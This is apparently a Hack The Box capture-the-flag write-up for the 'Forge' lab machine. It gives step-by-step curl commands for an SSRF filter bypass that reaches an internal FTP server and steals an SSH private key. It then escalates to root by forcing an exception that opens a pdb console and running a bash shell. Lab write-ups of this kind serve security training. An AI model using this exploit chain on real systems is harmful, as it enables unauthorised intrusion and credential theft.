Forge - [HTB]

Cover Image for Forge - [HTB]


Forge is a medium linux machine where the attacker will have to exploit an SSRF (Server Side Request Forgery) on an images web page in order to retrieve the user's SSH private key. Finally, the attacker will have to raise an exception for a python server triggering a debugging console and becoming root.


As always, let's start finding all opened ports available on the machine with nmap.

kali@kali:~/HTB/Forge$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
Warning: giving up on port because retransmission cap hit (2).
Nmap scan report for
Host is up (0.11s latency).
Not shown: 65532 closed ports
21/tcp filtered ftp
22/tcp open     ssh
80/tcp open     http

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:~/HTB/Forge$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 21,22,80
Nmap scan report for
Host is up (0.11s latency).

21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Sep 12 13:11:05 2021 -- 1 IP address (1 host up) scanned in 13.51 seconds

As we can see above nmap provide us with a domain forge.htb, adding it to the /etc/host file we can access a gallery web page where we can upload our own images.

image gallery

The web page provide us with two ways of uploading images via file or from URL.

Upload image form

Every file uploaded to the web page is stored under the uploads directory with a random name without extension.

Upload successfully

Furthermore, by enumerating subdomains with ffuz we can retrieve the subdomain admin.forge.htb.

kali@kali:~/HTB/Forge$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://forge.htb -H "Host: FUZZ.forge.htb" -fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       


 :: Method           : GET
 :: URL              : http://forge.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.forge.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 18

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]

However, trying to access this subdomain appears a text saying "Only localhost is allowed!".

Localhost allowed

Trying to submit this subdomain to the URL image form an error appears.

URL error


Nonetheless, this filter can be easily bypassed by writing the domain in capital letters http://ADMIN.FORGE.HTBobtaining the contents of the admin web page.

kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/H9Z1Hs0Vn3yf9g0yVyyG
<!DOCTYPE html>
    <title>Admin Portal</title>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
    <center><h1>Welcome Admins!</h1></center>

As we can see above there is also an/announcements directory where we can retrieve more information.

Using the same procedure we can retrieve the following page.

kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/KcB0PZHqrZuwvFcCNq3m
<!DOCTYPE html>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>

As the text says, there is an endpoint under /upload where we can retrieve files through the ftp protocol.

After some trial and error we are able to retrieve the user flag.

kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/&remote=1' | grep  "uploads" | grep  -o '".*"' | sed 's/"//g'
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/JRZLbkK7cMrvyUnGApPW
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Sep 12 03:16 user.txt

Moreover, we can get access to the machine obtaining the users's ssh private key.

kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/id_rsa&remote=1' | grep  "uploads" | grep  -o '".*"' | sed 's/"//g'
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/ao5rFA3JKD0LPSuqKniX -o id_rsa

However, we still need to know the username's private key. This can be easily obtained by downloading the public key.

kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/' | grep  "uploads" | grep  -o '".*"' | sed 's/"//g'
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/hdjb3bbOm6GlCIITHcwi
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdkg75DLB+Cd+2qjlqz6isdb/DVZusbqLoHtO/Y91DT02LE6a0dHeufEei6/j+XWk7aeM9/kZuNUcCwzAkNeYM2Nqpl8705gLsruGvsVXrGVRZOHBwqjSEg5W4TsmHV36N+kNhheo43mvoPM4MjlYzAsqX2fmtu0WSjfFot7CQdhMTZhje69WmnGycK8n/q6SvqntvNxHKBitPIQBaDmA5F+yqELcdqg7FeJeAbNNbJe1/ajjOY2Gy192BZYGkR9uAWBncNYn67bP9U5unQggoR+yBf5xZdBS3xEkCcqBNSMYCZ81Ev2cnGiZgeXJJDPbEvhRhdfNevwaYvpfT6cqtGCVo0V0LTKQtMayIazX5tzqMmIPURKJ5sBL9ksBNOxofjogT++/1c4nTmoRdEZTP5qmXMMbjBa+JI256sPL09MbEHqRHmkZsJoRahE8tUhv0SqdaHbv2Ze7RvjNiESD6fIMrq6L+euZFhQ5p2AIpdHvOUSbeaCPiG7hwVqwf8qU= user@forge

Finally, we are able to get access through ssh into the machine.

kali@kali:~/HTB/Forge$ ssh -i id_rsa user@forge.htb
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)

Privilege Escalation

As we can see, user is able to execute the python script

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/

This file creates a server on a random port where the client will have to send the password "secretadminpassword" in order to access the several options that it provides. Finally, everything is wrapped under a try-catch executing the Python Debugger console in case an exception occurs.

#!/usr/bin/env python3                   
import socket        
import random         
import subprocess
import pdb 

    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
        clientsock.send(b'Welcome admin!\n')
        while True:
            option = int(clientsock.recv(1024).strip())

except Exception as e:

The easiest way to raise an exception in this code is by simply sending any letter in the options menu. Once, catched the python exception, a debugger console will appear allowing us to execute any command as root, obtaining the root flag.

user@forge:~$ sudo /usr/bin/python3 /opt/ 
Listening on localhost:31074

user@forge:~$ nc localhost 37662
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

user@forge:~$ sudo /usr/bin/python3 /opt/ 
Listening on localhost:31074
invalid literal for int() with base 10: b'sdfsdfa'
> /opt/<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system("/bin/bash -p")
root@forge:/home/user# cat /root/root.txt